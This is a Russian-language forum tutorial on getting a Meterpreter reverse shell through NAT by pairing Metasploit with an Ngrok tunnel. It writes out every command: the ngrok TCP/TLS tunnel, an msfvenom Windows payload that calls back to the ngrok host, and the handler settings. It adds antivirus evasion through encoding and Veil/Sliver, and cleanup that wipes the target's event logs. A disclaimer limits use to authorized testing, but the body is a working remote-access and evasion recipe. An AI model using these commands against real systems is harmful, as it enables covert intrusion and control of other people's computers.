Открыть обратную шелл-сессию через NAT за 3 минуты — без единого проброшенного порта. Реально? Да! Берём Metasploit + Ngrok и показываем, как именно…
Привет, codeby.net!
В этом гайде покажу, как за пару минут поднять reverse shell на Windows (или любой другой ОС) через тандем Metasploit + Ngrok — без открытия портов на роутере и лишней головной боли. Материал рассчитан и на новичков, и на тех, кто уже крутит пентест‑лабы каждый день.
Дисклеймер
- Все приёмы описаны только для легального аудита безопасности. Запускайте payload’ы только на собственных машинах или по письменному согласию владельца.
- Нецелевое применение попадает под статьи 272 и 273 УК РФ (и аналогичные нормы других стран).
Что понадобится
- Kali/Parrot/любая nix‑система (проверено на Kali 2024.4).
- Metasploit Framework ≥ 6.4.
- ngrok ≥ 3.4 (free plan годится, но туннель обрывается каждые 8 ч).
Шаг 0 — регистрация в ngrok
Переходим на сайт
Ссылка скрыта от гостей
, регистрируемся и выполняем первые три пункта стартовой инструкции (скачиваем бинарь, кидаем токен).
Шаг 1 — запускаем ngrok
Открываем терминал и пробиваем TCP‑туннель на нужный нам порт (в примере используем 4444):./ngrok tcp 4444

В ответ увидите строку вроде:
tcp://0.tcp.ngrok.io:13286 → localhost:4444
Значит всё, что прилетит на 0.tcp.ngrok.io:13286, улетит к нам на 4444. Терминал не закрываем.
Шаг 2 — генерим payload
В новом окне создаём meterpreter[/I>‑экзешник с прописанными LHOST/LPORT из вывода выше:msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13286 -f exe -o payload.exe


Шаг 3 — готовим Metasploit‑listener
Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 # слушаем на всех интерфейсах
set LPORT 4444
set ExitOnSession false # чтобы не падал после первой сессии
set AutoRunScript migrate -f # сразу уходим из процесса‑приманки
exploit -j -z

Теперь Metasploit сидит на 4444 и ждёт коннекта.
Шаг 4 — (опционально) reverse_https + TLS
Антивирусы любят «голый» reverse_tcp. Если нужен тихий подход, замените payload:- Payload:
windows/x64/meterpreter/reverse_https
- Команда ngrok:
./ngrok tls 443
— получаем шифрованный канал через 443/TLS.
- Payload:
Шаг 5 — запускаем payload и принимаем сессию
Когда «жертва» запускаетpayload.exe
, в консоли Metasploit увидите: Meterpreter session 1 opened …

Ура, доступ есть — задача выполнена.

Чистим хвосты
- Закрываем туннель — просто CTRL+C в окне ngrok.
- В Metasploit:
sessions -i ; exit ; kill -9 $(pgrep ngrok)
- Удаляем payload.exe с диска целевой системы либо используем в Meterpreter
clearev
иrm
.
Траблшутинг
- Handler failed to bind — порт занят; укажите другой LPORT как в ngrok, так и в handler.
пример решения - Defender гасит exe — шифруем:
-e x86/shikata_ga_nai -i 5
или используем Veil/Sliver. - Ngrok внезапно закрылся — бесплатный план, туннель живёт 8 ч. Ставим автоперезапуск или берём Pro‑тариф.
см. обсуждение - LHOST=localhost не работает — слушайте на 0.0.0.0, иначе внешний трафик не дойдёт.
Полезные ссылки
-
Ссылка скрыта от гостей— углублённое руководство.
-
Ссылка скрыта от гостей— углублённое руководство.
-
Ссылка скрыта от гостей— все варианты туннелей.
- Veil‑Framework — генератор AV‑friendly payloads.
Вывод
Metasploit + Ngrok остаётся простейшим способом пробить NAT/Firewall и организовать управляемую Meterpreter‑сессию за считанные минуты. Следуйте правилам OPSEC, не забывайте про легальную сторону — и пусть ваши тесты будут этичными!Удачных пентестов, codeby.net!

А вы каким способом обходите NAT/EDR на боевых выездах? Делитесь лайфхаками, какие туннеллеры или C2 сейчас выигрывают гонку с Defender — Sliver, Cloudflared, Tailscale Funnel, frp, или что-то своё? Давайте соберём топ-методы 2025 прямо в ветке!
Последнее редактирование модератором: